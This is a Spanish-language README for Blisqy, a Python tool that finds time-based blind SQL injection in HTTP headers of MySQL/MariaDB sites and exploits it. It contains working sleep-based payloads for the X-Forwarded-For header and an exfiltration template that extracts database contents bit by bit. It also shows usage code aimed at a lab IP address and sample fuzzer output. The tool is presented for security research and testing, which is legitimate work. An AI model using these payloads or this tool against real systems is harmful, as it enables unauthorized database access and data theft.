
Versión 0.2 - Explota la inyección SQL ciega basada en tiempo en cabeceras HTTP (MySQL/MariaDB).
Blisqy es una herramienta para ayudar a los investigadores de seguridad web a encontrar inyecciones SQL ciegas basadas en tiempo en encabezados HTTP y también a explotar la misma vulnerabilidad.
La explotación permite un sifonado lento de datos desde una base de datos (actualmente solo compatible con MySQL/MariaDB) usando operaciones a nivel de bits sobre caracteres ASCII imprimibles, a través de una inyección SQL ciega.
Para la interoperabilidad con otras herramientas de Python y para permitir que otros usuarios utilicen las funciones proporcionadas en Blisqy, los módulos aquí incluidos se pueden importar en otros scripts basados en Python.
Al realizar pruebas de inyecciones SQL ciegas basadas en tiempo, cualquier latencia o congestión de la red puede afectar la efectividad del fuzzing o la explotación. Para compensar las posibles latencias de red e incertidumbres que podrían causar retrasos, la comparación de tiempo de Blisqy es dinámica y se calcula en tiempo de ejecución para cada prueba. Las pruebas utilizan greenlet (una unidad de ejecución ligera y cooperativamente programada) para proporcionar una API síncrona de alto nivel sobre el bucle de libevevent. Proporciona una forma rápida y eficiente de realizar las pruebas de carga útil en poco tiempo; además, una prueba en particular no debería afectar a otra porque no se realizan completamente de forma secuencial.
Blisqy ahora admite fuzzing para inyección SQL ciega basada en tiempo en encabezados HTTP y las funcionalidades principales (fuzzing y explotación) se han separado en archivos independientes para portabilidad.
Para usar la funcionalidad de Fuzzing, importe el siguiente módulo en su script de Python y proporcione un objetivo junto con los datos de fuzzing como se muestra a continuación:
from lib.blindfuzzer import blindSeeker
Los parámetros del objetivo deben estar en formato Diccionario/JSON, por ejemplo (Observe los tipos de datos de las variables):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
Invocar el fuzzer una vez que se proporcionan los parámetros del objetivo se muestra a continuación:
vulns = blindSeeker(target_params)
vulns.fuzz()
Puede consultar FindBlindSpot.py para ver este ejemplo proporcionado.
Si tiene éxito, debería obtener un informe de las pruebas 'inyectables' realizadas. Tenga en cuenta que, aunque Blisqy intenta compensar las latencias de red y la congestión durante las pruebas, es importante realizar una prueba de concepto de los resultados positivos reportados antes de continuar.
A continuación se muestra un informe de muestra:
=================== [ Términos clave] ===================
Index = Constante configurada (Retardo)
Registro Base = Ping al servidor antes del fuzzing
Registro de Referencia = Registro Base + Index
Registro de Fuzzing = Tiempo empleado en procesar la solicitud con Index
===================== [ Lógica] =====================
Si el Registro de Fuzzing es mayor que el Registro de Referencia,
tratar como positivo; en caso contrario, tratar como negativo.
[+] Inyección : X-Forwarded-For : ' or sleep(1)#
[+] Encabezado : X-Forwarded-For
[*] Registro Index : 0.000160932540894
[*] Registro de Referencia : 1.00016093254
[*] Registro de Fuzzing : 9.01
[!] La prueba 436 es inyectable.
__________________________________
[+] Inyección : X-Forwarded-For : ' or sleep(1)='
[+] Encabezado : X-Forwarded-For
[*] Registro Index : 0.000378847122192
[*] Registro de Referencia : 1.00037884712
[*] Registro de Fuzzing : 18.02
[!] La prueba 438 es inyectable.
__________________________________
Captura de pantalla del Fuzzer de Blisqy en acción:

Después de encontrar una posible inyección SQL ciega basada en tiempo, puede preparar un script para explotar la aplicación web vulnerable.
Al igual que el fuzzer, puede importar el módulo para la explotación en su script de Python y definir una plantilla para la operación de explotación. A continuación se muestra un ejemplo de cómo importar el módulo en un script de Python:
from lib.blindexploit import SqlEngine
A continuación, deberá proporcionar los detalles de su objetivo junto con sus parámetros de destino para la explotación. A continuación se muestra una implementación de ejemplo para explotar la inyección SQL ciega encontrada por el fuzzer:
Los datos del objetivo deben estar en un formato Diccionario/JSON que especifique el servidor, el puerto, el encabezado vulnerable encontrado y su valor (algunas aplicaciones necesitarán o verificarán un valor determinado). También Observe los tipos de datos de las variables.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
Los parámetros del objetivo deben seguir permitiendo al usuario especificar algunas opciones relacionadas con las preferencias de explotación.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname. La opción predeterminada es 'pass'.Después de proporcionar su objetivo y sus parámetros, lo siguiente es proporcionar una plantilla para la rutina de explotación. Blisqy proporciona una forma para que los usuarios especifiquen dónde inyectar la carga útil SQL de exfiltración y el retardo sleeptime. A continuación se muestra un ejemplo de una implementación para una de las vulnerabilidades encontradas en el informe de muestra proporcionado en la subsección anterior.
Inyección encontrada en el encabezado X-Forwarded-For:
' or sleep(1)='
Plantilla para esta inyección en particular:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
Durante la ejecución, *sql* se reemplazará con una carga útil de inyección SQL y *time* se reemplazará con un retardo para sleep().
Una vez que todo esto esté listo, la última parte es instanciar la rutina de explotación y dejar que el método MysqlDigger() haga el trabajo.
# Crear una instancia
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerar la base de datos MySQL
BlindSql.MysqlDigger()
Puede consultar ExploitBlindSpot.py para ver este ejemplo proporcionado.
A continuación se muestra un ejemplo de una operación de explotación:

Puede avisarme de cualquier cosa interesante que haya encontrado con Blisqy o de lo que crea que debería agregarse/eliminarse.
(PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Disponible en: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course